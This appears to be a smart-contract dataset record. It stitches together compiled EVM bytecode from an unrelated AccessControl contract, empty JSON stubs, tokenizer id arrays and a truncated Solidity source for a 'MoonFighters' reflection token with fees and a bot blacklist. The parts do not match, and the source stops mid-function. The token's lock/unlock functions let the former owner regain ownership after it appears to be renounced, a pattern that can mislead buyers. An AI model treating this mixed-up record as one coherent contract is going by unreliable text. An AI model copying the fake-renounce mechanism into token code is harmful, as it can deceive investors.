8576000805461ff00191690555b505050565b606560205281600052604060002081815481106105c657fe5b60009182526020909120600690910201805460018201546002830154600384015460048501546005909501546001600160a01b039485169750929093169450929086565b61062260008051602061135a83398151915233610935565b61063e5760405162461bcd60e51b81526004016102a4906111f3565b6001600160a01b038681166000818152606560209081526040808320815160c0810183528581528b87168185019081528184018c8152606083018c8152608084018c815260a085018c8152865460018082018955978b52989099209451600690980290940180546001600160a01b0319908116988c1698909817815592519483018054909716949099169390931790945590516002840155945160038301559351600482015590516005909101559051429143917ff25ac2eada174be3ad8aa417da70aa54fda392819d682e4f6d7718461289c06590610727908a908a908a908a908a9061109c565b60405180910390a4505050505050565b6001600160a01b03821660009081526065602090815260408083208054825181850281018501909352808352606094859484015b828210156107e15760008481526020908190206040805160c0810182526006860290920180546001600160a01b0390811684526001808301549091168486015260028201549284019290925260038101546060840152600481015460808401526005015460a0830152908352909201910161076b565b5050505090506000805b8251811015610840576107fc610e25565b83828151811061080857fe5b60200260200101519050856001600160a01b031681602001516001600160a01b03161415610837576001830192505b506001016107eb565b5060608167ffffffffffffffff8111801561085a57600080fd5b5060405190808252806020026020018201604052801561089457816020015b610881610e25565b8152602001906001900390816108795790505b5090506000805b8451811015610908576108ac610e25565b8582815181106108b857fe5b60200260200101519050876001600160a01b031681602001516001600160a01b031614156108ff57808484815181106108ed57fe5b60200260200101819052506001830192505b5060010161089b565b509093505050505b92915050565b600082815260336020526040812061092e9083610bdd565b9392505050565b600082815260336020526040812061092e9083610be9565b600081565b6001600160a01b0381166000908152606560209081526040808320805482518185028101850190935280835260609492939192909184015b82821015610a005760008481526020908190206040805160c0810182526006860290920180546001600160a01b0390811684526001808301549091168486015260028201549284019290925260038101546060840152600481015460808401526005015460a0830152908352909201910161098a565b505050509050919050565b600081815260336020526040812061091090610bfe565b600082815260336020526040902060020154610a4090610215610a6e565b61038c5760405162461bcd60e51b81526004016102a490611218565b60008051602061135a83398151915281565b3390565b6000828152603360205260409020610a8a9082610c09565b1561035057610a97610a6e565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152603360205260409020610af39082610c1e565b1561035057610b00610a6e565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b303b1590565b600054610100900460ff1680610b635750610b63610b44565b80610b71575060005460ff16155b610b8d5760405162461bcd60e51b81526004016102a490611268565b600054610100900460ff16158015610bb8576000805460ff1961ff0019909116610100171660011790555b610bc0610c33565b610bc8610c33565b8015610bda576000805461ff00191690555b50565b600061092e8383610cb4565b600061092e836001600160a01b038416610cf9565b600061091082610d11565b600061092e836001600160a01b038416610d15565b600061092e836001600160a01b038416610d5f565b600054610100900460ff1680610c4c5750610c4c610b44565b80610c5a575060005460ff16155b610c765760405162461bcd60e51b81526004016102a490611268565b600054610100900460ff16158015610bc8576000805460ff1961ff0019909116610100171660011790558015610bda576000805461ff001916905550565b81546000908210610cd75760405162461bcd60e51b81526004016102a490611162565b826000018281548110610ce657fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b6000610d218383610cf9565b610d5757508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610910565b506000610910565b60008181526001830160205260408120548015610e1b5783546000198083019190810190600090879083908110610d9257fe5b9060005260206000200154905080876000018481548110610daf57fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080610ddf57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610910565b6000915050610910565b6040518060c0016040528060006001600160a01b0316815260200160006001600160a01b03168152602001600081526020016000815260200160008152602001600081525090565b80356001600160a01b038116811461091057600080fd5b600060208284031215610e95578081fd5b61092e8383610e6d565b60008060408385031215610eb1578081fd5b610ebb8484610e6d565b9150610eca8460208501610e6d565b90509250929050565b60008060008060008060c08789031215610eeb578182fd5b610ef58888610e6d565b9550610f048860208901610e6d565b95989597505050506040840135936060810135936080820135935060a0909101359150565b60008060408385031215610f3b578182fd5b610f458484610e6d565b946020939093013593505050565b600080600060608486031215610f67578283fd5b610f718585610e6d565b95602085013595506040909401359392505050565b600060208284031215610f97578081fd5b5035919050565b60008060408385031215610fb0578182fd5b823591506020830135610fc281611344565b809150509250929050565b60008060408385031215610fdf578182fd5b50508035926020909101359150565b600080600080600080600060e0888a031215611008578081fd5b87359650602088013561101a81611344565b9550604088013561102a81611344565b969995985095966060810135965060808101359560a0820135955060c0909101359350915050565b6001600160a01b0391909116815260200190565b6001600160a01b03968716815294909516602085015260408401929092526060830152608082015260a081019190915260c00190565b6001600160a01b03959095168552602085019390935260408401919091526060830152608082015260a00190565b602080825282518282018190526000919060409081850190868401855b8281101561114157815180516001600160a01b0390811686528782015116878601528581015186860152606080820151908601526080808201519086015260a0908101519085015260c090930192908501906001016110e7565b5091979650505050505050565b901515815260200190565b90815260200190565b60208082526022908201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b6020808252602f908201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60408201526e0818591b5a5b881d1bc819dc985b9d608a1b606082015260800190565b6020808252600b908201526a37b7363ca6b0b730b3b2b960a91b604082015260600190565b60208082526030908201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60408201526f2061646d696e20746f207265766f6b6560801b606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201526e103937b632b9903337b91039b2b63360891b606082015260800190565b9586526001600160a01b0394909416602086015260408501929092526060840152608083015260a082015260c00190565b918252602082015260400190565b6001600160a01b0381168114610bda57600080fdfe241ecf16d79d0f8dbfb92cbc07fe17840425976cf0667f022fe9877caa831b08a2646970667358221220baeb5adafb7fa2782ed744417332e2d8594273afa164a647eb6dc83afa5257d364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2497, 2509, 2546, 2620, 22907, 2620, 2475, 2050, 2575, 2475, 2063, 2549, 16409, 27421, 21926, 2575, 2546, 20842, 28756, 2629, 2278, 24087, 2692, 2546, 2575, 2278, 2692, 2497, 2575, 2278, 2692, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1014, 1012, 1017, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 2139, 4523, 1013, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 21183, 12146, 1013, 4372, 17897, 16670, 13462, 6279, 24170, 3085, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3075, 2005, 6605, 1008, 16770, 1024, 1013, 1013, 4372, 1012, 16948, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,395
0x96b48b266b68c36571de1ad03d64c9bd78dabc44
/** TG: @MoonFighterEth Website: https://moonfighters.co// */ pragma solidity ^0.8.10; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require( _previousOwner == msg.sender, "You don't have permission to unlock" ); require(block.timestamp > _lockTime, "Contract is locked until a later date"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; _previousOwner = address(0); } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract MoonFighters is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; mapping(address => bool) private _isBlackListedBot; mapping(address => bool) private _isExcludedFromLimit; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100 * 10**21 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address payable public _marketingAddress = payable(address(0xfCc065A033425f0AA601BB91bFF1f541a68C3A88)); address payable public _devwallet = payable(address(0xfCc065A033425f0AA601BB91bFF1f541a68C3A88)); address public _exchangewallet = payable(address(0xfCc065A033425f0AA601BB91bFF1f541a68C3A88)); address _partnershipswallet = payable(address(0xfCc065A033425f0AA601BB91bFF1f541a68C3A88)); address private _donationAddress = 0x000000000000000000000000000000000000dEaD; string private _name = "MoonFighters"; string private _symbol = "MF"; uint8 private _decimals = 9; struct BuyFee { uint16 tax; uint16 liquidity; uint16 marketing; uint16 dev; uint16 donation; } struct SellFee { uint16 tax; uint16 liquidity; uint16 marketing; uint16 dev; uint16 donation; } BuyFee public buyFee; SellFee public sellFee; uint16 private _taxFee; uint16 private _liquidityFee; uint16 private _marketingFee; uint16 private _devFee; uint16 private _donationFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 50 * 10**19 * 10**9; uint256 private numTokensSellToAddToLiquidity = 100 * 10**19 * 10**9; uint256 public _maxWalletSize = 200 * 10**19 * 10**9; event botAddedToBlacklist(address account); event botRemovedFromBlacklist(address account); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; buyFee.tax = 1; buyFee.liquidity = 1; buyFee.marketing = 5; buyFee.dev = 0; buyFee.donation = 0; sellFee.tax = 1; sellFee.liquidity = 1; sellFee.marketing = 4; sellFee.dev =3; sellFee.donation = 0; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // exclude owner, dev wallet, and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devwallet] = true; _isExcludedFromFee[_exchangewallet] = true; _isExcludedFromFee[_partnershipswallet] = true; _isExcludedFromLimit[_marketingAddress] = true; _isExcludedFromLimit[_devwallet] = true; _isExcludedFromLimit[_exchangewallet] = true; _isExcludedFromLimit[_partnershipswallet] = true; _isExcludedFromLimit[owner()] = true; _isExcludedFromLimit[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function donationAddress() public view returns (address) { return _donationAddress; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); ( , uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, , ) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); ( , uint256 tFee, uint256 tLiquidity, uint256 tWallet, uint256 tDonation ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, ) = _getRValues( tAmount, tFee, tLiquidity, tWallet, tDonation, _getRate() ); if (!deductTransferFee) { return rAmount; } else { return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = 